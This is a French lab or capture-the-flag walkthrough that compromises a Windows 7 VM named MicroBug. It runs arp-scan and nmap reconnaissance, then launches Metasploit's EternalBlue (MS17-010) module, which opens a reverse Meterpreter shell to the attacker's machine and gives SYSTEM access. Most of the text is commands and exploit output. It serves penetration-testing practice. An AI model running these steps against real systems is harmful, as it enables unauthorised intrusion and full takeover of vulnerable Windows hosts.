Microbug
MicroBug est machine Windows qui présente une vulnérabilité critique dans le protocole de partage de fichiers de Windows, SMBv1 (Server Message Block version 1) l'exploit `Etrenalblue` a été créer par la NSA, puis divulgué publiquement par le groupe de hackers The Shadow Brokers
Reconnaissance -IP - Scan de port
identifions l’adresse IP de la victime
1
2
3
4
5
6
7
8
┌──(d4fl0n㉿kali)-[~]
└─$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:4a:c6:8f, IPv4: 10.0.2.15
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.2.1 52:54:00:12:35:00 QEMU
10.0.2.2 08:00:27:90:ba:ec PCS Systemtechnik GmbH
10.0.2.3 52:54:00:12:35:00 QEMU
10.0.2.116 08:00:27:f8:4c:a7 PCS Systemtechnik GmbH
l’adresse IP de la victime est 10.0.2.116
nous allons faire une numérisation des ports pour trouver les ports ouverts
1
2
3
4
5
6
7
8
9
10
11
12
┌──(d4fl0n㉿kali)-[~]
└─$ nmap -p- 10.0.2.116
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-25 04:45 -0400
Nmap scan report for 10.0.2.116
Host is up (0.0012s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5000/tcp open upnp
MAC Address: 08:00:27:F8:4C:A7 (Oracle VirtualBox virtual NIC)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(d4fl0n㉿kali)-[~]
└─$ nmap -p 135,139,445,5000 -A -O -sCV 10.0.2.116
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-25 04:47 -0400
Nmap scan report for 10.0.2.116
Host is up (0.0014s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
5000/tcp open upnp?
MAC Address: 08:00:27:F8:4C:A7 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|phone
Running: Microsoft Windows 7|Phone
OS CPE: cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows
OS details: Microsoft Windows Embedded Standard 7, Microsoft Windows Phone 7.5 or 8.0
Network Distance: 1 hop
Service Info: Host: MARIO-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_nbstat: NetBIOS name: MARIO-PC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:f8:4c:a7 (Oracle VirtualBox virtual NIC)
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2026-10-25T08:50:34
|_ start_date: 2026-10-25T16:53:04
|_clock-skew: mean: 2h19m58s, deviation: 4h02m29s, median: -2s
| smb-os-discovery:
| OS: Windows 7 Ultimate 7601 Service Pack 1 (Windows 7 Ultimate 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1
| Computer name: mario-PC
| NetBIOS computer name: MARIO-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2026-10-25T01:50:34-07:00
nous avons 4 ports ouvert 135 pour miscrosoft RPC, 139 et 445 pour SMB ainsi que le port 5000 dont le bannière n’a pas été récupérer pour l’instant, la machine est une Windows 7 le nom de l’ordinateur est MARIO-PC, donc ici on a une forte probabilité que le nom d’utilisateur Windows peut être mario
Exploitation
nous savons que Windows 7 comporte une vulnérabilité via au protocole SMB qui a secouée l’internet, nous allons démarrer msfconsole et charger le module d’exploitation eternalblue ms17_010
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
msf exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] 10.0.2.116:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.0.2.116:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/recog-3.1.29/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
[*] 10.0.2.116:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.0.2.116:445 - The target is vulnerable.
[*] 10.0.2.116:445 - Connecting to target for exploitation.
[+] 10.0.2.116:445 - Connection established for exploitation.
[+] 10.0.2.116:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.0.2.116:445 - CORE raw buffer dump (38 bytes)
[*] 10.0.2.116:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 10.0.2.116:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 10.0.2.116:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 10.0.2.116:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.0.2.116:445 - Trying exploit with 12 Groom Allocations.
[*] 10.0.2.116:445 - Sending all but last fragment of exploit packet
[*] 10.0.2.116:445 - Starting non-paged pool grooming
[+] 10.0.2.116:445 - Sending SMBv2 buffers
[+] 10.0.2.116:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.0.2.116:445 - Sending final SMBv2 buffers.
[*] 10.0.2.116:445 - Sending last fragment of exploit packet!
[*] 10.0.2.116:445 - Receiving response from exploit packet
[+] 10.0.2.116:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.0.2.116:445 - Sending egg to corrupted connection.
[*] 10.0.2.116:445 - Triggering free of corrupted buffer.
[*] Sending stage (248902 bytes) to 10.0.2.116
[*] Meterpreter session 1 opened (10.0.2.15:4444 -> 10.0.2.116:49196) at 2026-10-25 04:55:48 -0400
[+] 10.0.2.116:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.0.2.116:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.0.2.116:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >
nous avons obtenu le meterpreter l’exploitation avec le module eternalblue a été couronné avec succès
vérifions notre privilège
1
2
meterpreter > getsystem
[-] Already running as SYSTEM
nous avons la privilège la plus élevé sur un system Windows
passons au shell cmd
1
2
3
4
5
6
7
8
meterpreter > shell
Process 1340 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
1
2
3
4
5
C:\Users\mario\Desktop>whoami
whoami
nt authority\system
C:\Users\mario\Desktop>
